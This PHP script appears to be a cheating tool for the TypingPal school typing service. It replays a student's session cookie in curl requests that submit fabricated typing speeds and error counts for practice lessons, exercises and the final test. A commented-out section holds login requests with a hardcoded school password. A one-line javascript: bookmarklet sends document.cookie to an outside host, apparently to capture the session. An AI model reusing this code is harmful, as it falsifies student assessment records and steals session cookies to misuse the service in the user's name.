1. <?PHP
  2. //"http://school.typingpal.com/student/games/english/cosmikball/sauvegarderesultat.php?score=" . $score . "&nocache=0"
  3. function doPractice($session, $start, $end) {
  4. $minspeed = rand(45, 47);
  5. $maxspeed = rand(60, 63);
  6. $minerror = rand(1,3);
  7. $maxerror = rand(9,16);
  8. if ($start = "" || $start <= 0)
  9.     $start = 1;
  10. if ($end = "" || $end > 40)
  11.     $end = 40;
  12. for($n = $start; $n <= $end; $n++) { //1-40
  13. $speed = rand($minspeed, $maxspeed);
  14. $error = rand($minerror, $maxerror);
  15.         $ch=curl_init();
  16.         curl_setopt($ch, CURLOPT_URL, "http://school.typingpal.com/student/practice/" . $n . "");
  17.         curl_setopt($ch, CURLOPT_REFERER, "http://school.typingpal.com/student/practice/");
  18.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
  19.         //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  20.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  21.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  22.         curl_setopt($ch, CURLOPT_COOKIE, $session);
  23.             $data = curl_exec($ch);
  24.     curl_close($ch);
  25.    
  26. $ch=curl_init();
  27.         curl_setopt($ch, CURLOPT_URL, "http://school.typingpal.com/student/practice/pratiqueflash/resultats.php?speed=" . $speed . "&errors=" . $error . "&nocache=0");
  28.         curl_setopt($ch, CURLOPT_REFERER, "http://school.typingpal.com/student/practice/" . $n);
  29.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
  30.         //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  31.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  32.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  33.         curl_setopt($ch, CURLOPT_COOKIE, $session);
  34.     $data = curl_exec($ch);
  35.     curl_close($ch);
  36.     //echo $data;
  37.  
  38. }
  39. }
  40.  
  41. function doFinal($session) {
  42. $minspeed = rand(45, 47);
  43. $maxspeed = rand(60, 63);
  44. $minerror = rand(1,3);
  45. $maxerror = rand(9,16);
  46. $speed = rand($minspeed, $maxspeed);
  47. $error = rand($minerror, $maxerror);
  48.         $ch=curl_init();
  49.         curl_setopt($ch, CURLOPT_URL, "http://school.typingpal.com/student/tests/final");
  50.         curl_setopt($ch, CURLOPT_REFERER, "http://school.typingpal.com/student/");
  51.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
  52.         //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  53.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  54.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  55.         curl_setopt($ch, CURLOPT_COOKIE, $session);
  56.             $data = curl_exec($ch);
  57.     curl_close($ch);
  58.    
  59. $ch=curl_init();
  60.         curl_setopt($ch, CURLOPT_URL, "http://school.typingpal.com/student/practice/pratiqueflash/resultats.php?speed=" . $speed . "&errors=" . $error . "&nocache=0");
  61.         curl_setopt($ch, CURLOPT_REFERER, "http://school.typingpal.com/student/tests/final");
  62.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
  63.         //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  64.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  65.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  66.         curl_setopt($ch, CURLOPT_COOKIE, $session);
  67.     $data = curl_exec($ch);
  68.     curl_close($ch);
  69.     //echo $data;
  70.  
  71. }
  72. function stribet($inputstr, $delimiterLeft, $delimiterRight) {
  73.               // Returns substring of $inputstr between $delimiterLeft and $delimiterRight
  74.               $posLeft = stripos($inputstr, $delimiterLeft) + strlen($delimiterLeft);
  75.               $posRight = stripos($inputstr, $delimiterRight, $posLeft);
  76.               return substr($inputstr, $posLeft, $posRight - $posLeft);
  77.           }
  78. function doExercises($session, $start, $end) {
  79. $id = "";
  80. $cache = 0;
  81. $minspeed = rand(45, 47);
  82. $maxspeed = rand(60, 63);
  83. $minerror = rand(1,3);
  84. $maxerror = rand(9,16);
  85. if ($start = "" || $start <= 0)
  86.     $start = 1;
  87. if ($end = "" || $end > 35)
  88.     $end = 35;
  89.  
  90.  
  91.  
  92. /*
  93.               $ch=curl_init();
  94.         curl_setopt($ch, CURLOPT_URL, "http://school.typingpal.com/index_ecole.asp?validate=1");
  95.         curl_setopt($ch, CURLOPT_REFERER, "http://school.typingpal.com/index_ecole.asp");
  96.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
  97.         //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  98.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  99.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  100.         curl_setopt($ch, CURLOPT_COOKIEJAR, $session);
  101.         curl_setopt($ch, CURLOPT_POST, TRUE);
  102.         curl_setopt($ch, CURLOPT_POSTFIELDS, "theCode=nsha");  
  103.     $data = curl_exec($ch);
  104.     //echo $data;
  105.  $ch=curl_init();
  106.         curl_setopt($ch, CURLOPT_URL, "http://school.typingpal.com/index_ecole.asp?menu=33");
  107.         curl_setopt($ch, CURLOPT_REFERER, "http://school.typingpal.com/index_ecole.asp");
  108.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
  109.         //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  110.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  111.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  112.         curl_setopt($ch, CURLOPT_COOKIEJAR, $session);
  113.         curl_setopt($ch, CURLOPT_POST, TRUE);
  114.         curl_setopt($ch, CURLOPT_POSTFIELDS, "sEcole=2062&username=&password=");  
  115.     $data = curl_exec($ch);
  116.     curl_close($ch);
  117.     $ch=curl_init();
  118.         curl_setopt($ch, CURLOPT_URL, "http://school.typingpal.com/index_ecole.asp?validate=2");
  119.         curl_setopt($ch, CURLOPT_REFERER, "http://school.typingpal.com/index_ecole.asp");
  120.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
  121.         //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  122.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  123.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  124.         curl_setopt($ch, CURLOPT_COOKIE, $session);
  125.         curl_setopt($ch, CURLOPT_POST, TRUE);
  126.         curl_setopt($ch, CURLOPT_POSTFIELDS, "sEcole=2062&username=" . $username . "password=northshore");  
  127.     $data = curl_exec($ch);
  128.     $ch=curl_init();
  129.         curl_setopt($ch, CURLOPT_URL, "http://school.typingpal.com/login/student");
  130.         curl_setopt($ch, CURLOPT_REFERER, "http://school.typingpal.com/index_ecole.asp");
  131.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
  132.         //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  133.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  134.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  135.         curl_setopt($ch, CURLOPT_COOKIE, $session);
  136.     $data = curl_exec($ch);
  137.     echo $data;
  138.     sleep(9000000000);*/
  139.     curl_close($ch);
  140.         $ch=curl_init();
  141.         curl_setopt($ch, CURLOPT_URL, "http://school.typingpal.com/student/exercises/exerciseurflash/getdata.php?noLeconDonnee=0");
  142.         curl_setopt($ch, CURLOPT_REFERER, "http://school.typingpal.com/");
  143.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
  144.         //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  145.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  146.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  147.         curl_setopt($ch, CURLOPT_COOKIE, $session);  
  148.     $data = curl_exec($ch);
  149.     curl_close($ch);
  150.     $id = stribet($data, "&noUser=", "&");
  151. for($n = $start; $n <= $end; $n++) {
  152. $speed = rand($minspeed, $maxspeed);
  153. $error = rand($minerror, $maxerror);
  154. $ch=curl_init();
  155.         curl_setopt($ch, CURLOPT_URL, "http://school.typingpal.com/student/exercises/exerciseurflash/resultats.php?noLecon=" . $n . "&noUser=" . $id . "&stepSpeed=12&stepError=70&userSpeed=" . $speed . "&userError=" . $error . "&noteSpeed=100&noteError=4&stats=102+59+77+174-32+67+56+209-106+74+79+184&nocache=" . $cache);
  156.         curl_setopt($ch, CURLOPT_REFERER, "http://school.typingpal.com/");
  157.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
  158.         //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  159.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  160.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  161.         curl_setopt($ch, CURLOPT_COOKIE, $session);
  162.     $data = curl_exec($ch);
  163.     curl_close($ch);
  164.  
  165. }
  166. }
  167. //javascript:document.location="http://google.com/?q=" + document.cookie;
  168. if ($_POST["session"] != "") {
  169. $session = $_POST["session"];
  170. if ($_POST["doexercise"] == "True")
  171.     doExercises($session, $_POST["startexer"], $_POST["endexer"]);
  172. if ($_POST["dopractice"] == "True")
  173.     doPractice($session, $_POST["startprac"], $_POST["endprac"]);
  174. if ($_POST["dofinal"] == "True")
  175.     doFinal($session);
  176.     echo "<html> Done...</html>";
  177.     }
  178.     else{
  179.     echo"fail";
  180.     }
  181. ?>